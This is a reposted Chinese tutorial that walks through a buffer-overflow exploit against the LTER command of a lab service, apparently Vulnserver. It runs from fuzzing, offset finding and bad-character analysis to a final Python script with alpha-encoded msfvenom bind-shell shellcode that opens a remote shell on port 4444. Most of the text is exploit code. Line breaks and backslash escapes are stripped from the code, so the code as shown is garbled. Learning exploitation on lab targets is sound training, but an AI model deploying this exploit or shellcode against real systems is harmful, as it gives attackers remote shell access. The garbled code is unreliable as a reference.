转自先知社区：https://xz.aliyun.com/t/12335 作者：天明
我们利用下面的骨架对LTER命令进行开发利用。
#!/usr/bin/pythonimport osimport sysimport sockethost = "192.168.1.129"port = 9999buffer = "A"*3000s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))print s.recv(1024)print "[*] Sending exploit..."s.send("LTER /.:/" + buffer)print s.recv(1024)s.close()
发送下面这个代码会导致应用程序崩溃。
我运行了 !mona pc 3000 来生成一个3000字节的唯一字符串。
#!/usr/bin/pythonimport osimport sysimport sockethost = "192.168.1.129"port = 9999buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))print s.recv(1024)print "[*] Sending exploit..."s.send("LTER /.:/" + buffer)print s.recv(1024)s.close()
使用 !mona findmsp，确定该偏移量为2003字节。
下面将代码中的偏移量改成正确的偏移量。
#!/usr/bin/pythonimport osimport sysimport sockethost = "192.168.1.129"port = 9999buffer = "A"*2003buffer += "BBBB"buffer += "C"*(3000-len(buffer))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))print s.recv(1024)print "[*] Sending exploit..."s.send("LTER /.:/" + buffer)print s.recv(1024)s.close()
我们可以确定偏移量是正确的，4个B字符覆盖了EIP。还可以看到，ESP直接位于EIP之后，并指向C的缓冲区。
为了找到坏字符，我修改了以下代码，并将其存储在4个B的后面。
#!/usr/bin/pythonimport osimport sysimport sockethost = "192.168.1.129"port = 9999badchars = ("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f""x20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3f""x40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5f""x60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7f""x80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9f""xa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbf""xc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdf""xe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")buffer = "A"*2003buffer += "BBBB"buffer += badcharsbuffer += "C"*(3000-len(buffer))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))print s.recv(1024)print "[*] Sending exploit..."s.send("LTER /.:/" + buffer)print s.recv(1024)s.close()
从这里可以看出，在 x7F 之后，字符 x80 被转义成了 x01。事实证明，在x7F之后的每个字符都会通过减去x7F来转换。在xFF的例子中，由于减去了x7F，它被转换为x80。由此，我发现，允许使用的字符只有ASCII字符（除了NULL字节）。
有了这个，我就用！！mona jmp -r esp -cp ascii -m "essfunc.dll " 命令来找到一个包含JMP ESP指令的地址。请注意选项-cp ascii。这是为了确保结果中的地址只包含ASCII字符。为此，我这里使用了第一个地址，即0x62501203。
然后我修改了代码，尝试使用JMP ESP地址。
#!/usr/bin/pythonimport osimport sysimport sockethost = "192.168.1.129"port = 9999buffer = "A"*2003buffer += "x03x12x50x62" # JMP ESP from essfunc.dll (ascii only)buffer += "C"*(3000-len(buffer))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))print s.recv(1024)print "[*] Sending exploit..."s.send("LTER /.:/" + buffer)print s.recv(1024)s.close()
如下图所示，我被重定向到了C的缓冲区。
接下来，我使用alpha_mixed 编码器生成了一个shellcode。我必须要使用这个编码器来生成一个只包含允许的字符列表的shellcode。还应注意的是，我使用了BufferRegister=ESP这个选项。如果没有这个选项，shellcode将会从操作码x89xe2xdbxdbxd9x72开始执行。为了找到shellcode在内存中的绝对位置，我们需要这个操作码。目前，在这个漏洞中，我已经知道我的shellcode的绝对位置了。有了这个，我在生成shellcode时选择使用BufferRegister=ESP选项。
以下是最终的漏洞代码。
#!/usr/bin/pythonimport osimport sysimport sockethost = "192.168.1.129"port = 9999# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -e x86/alpha_mixed -b "x00" BufferRegister=ESP -f c# Payload size: 710 bytesshellcode = ("x54x59x49x49x49x49x49x49x49x49x49x49x49x49x49""x49x49x49x37x51x5ax6ax41x58x50x30x41x30x41x6b""x41x41x51x32x41x42x32x42x42x30x42x42x41x42x58""x50x38x41x42x75x4ax49x69x6cx4dx38x6cx42x33x30""x33x30x43x30x43x50x4ex69x58x65x54x71x6bx70x33""x54x4cx4bx52x70x54x70x4cx4bx71x42x36x6cx4ex6b""x50x52x62x34x6cx4bx64x32x51x38x54x4fx4ex57x42""x6ax45x76x34x71x39x6fx6ex4cx35x6cx45x31x53x4c""x54x42x76x4cx47x50x49x51x78x4fx74x4dx57x71x6b""x77x68x62x59x62x53x62x66x37x4cx4bx73x62x52x30""x6ex6bx63x7ax75x6cx4cx4bx52x6cx46x71x33x48x38""x63x42x68x77x71x38x51x30x51x6ex6bx32x79x67x50""x33x31x38x53x6cx4bx51x59x42x38x6dx33x76x5ax70""x49x4ex6bx37x44x6ex6bx77x71x6ax76x64x71x39x6f""x6ex4cx79x51x38x4fx46x6dx65x51x4ax67x34x78x69""x70x30x75x68x76x56x63x33x4dx58x78x45x6bx51x6d""x67x54x73x45x48x64x73x68x4cx4bx36x38x54x64x55""x51x6bx63x50x66x4cx4bx44x4cx52x6bx6cx4bx76x38""x67x6cx77x71x5ax73x4cx4bx63x34x6cx4bx66x61x38""x50x6ex69x47x34x66x44x57x54x31x4bx43x6bx65x31""x33x69x62x7ax52x71x49x6fx49x70x71x4fx71x4fx51""x4ax4cx4bx45x42x78x6bx6ex6dx71x4dx61x78x34x73""x74x72x55x50x55x50x42x48x42x57x54x33x44x72x31""x4fx76x34x65x38x42x6cx74x37x56x46x36x67x59x6f""x78x55x78x38x6ax30x63x31x67x70x33x30x44x69x78""x44x72x74x66x30x42x48x56x49x4bx30x42x4bx53x30""x4bx4fx79x45x32x4ax75x58x30x59x62x70x6ax42x6b""x4dx57x30x56x30x53x70x52x70x61x78x79x7ax46x6f""x49x4fx39x70x6bx4fx6ex35x6dx47x62x48x57x72x73""x30x57x61x53x6cx6ex69x7ax46x70x6ax64x50x73x66""x52x77x33x58x39x52x49x4bx37x47x63x57x49x6fx59""x45x62x77x71x78x58x37x6ax49x34x78x59x6fx4bx4f""x39x45x50x57x43x58x43x44x68x6cx67x4bx48x61x49""x6fx4bx65x76x37x6ex77x72x48x34x35x42x4ex70x4d""x73x51x49x6fx4ex35x53x58x32x43x52x4dx45x34x53""x30x6ex69x6bx53x72x77x50x57x53x67x44x71x49x66""x43x5ax52x32x72x79x53x66x78x62x59x6dx30x66x79""x57x73x74x64x64x57x4cx65x51x57x71x4cx4dx73x74""x61x34x64x50x69x56x53x30x32x64x66x34x56x30x36""x36x66x36x43x66x72x66x46x36x72x6ex66x36x31x46""x33x63x30x56x30x68x71x69x58x4cx45x6fx4fx76x59""x6fx4ax75x4fx79x6dx30x50x4ex51x46x53x76x6bx4f""x54x70x53x58x64x48x4fx77x67x6dx31x70x39x6fx69""x45x4dx6bx59x70x55x4dx54x6ax46x6ax65x38x4dx76""x7ax35x4dx6dx6fx6dx6bx4fx68x55x35x6cx54x46x31""x6cx67x7ax6bx30x39x6bx39x70x43x45x63x35x6dx6b""x72x67x56x73x73x42x70x6fx62x4ax43x30x42x73x6b""x4fx4ax75x41x41")buffer = "A"*2003buffer += "x03x12x50x62" # JMP ESP from essfunc.dll (ascii only)buffer += shellcodebuffer += "C"*(3000-len(buffer))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))print s.recv(1024)print "[*] Sending exploit..."s.send("LTER /.:/" + buffer)print s.recv(1024)s.close()
运行这个程序后，就会使目标机在4444/tcp端口进行监听。
连接到这个端口就能够在目标机上进行shell访问。
原文始发于微信公众号（HACK安全）：利用限制性的字符对LTER命令进行利用
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论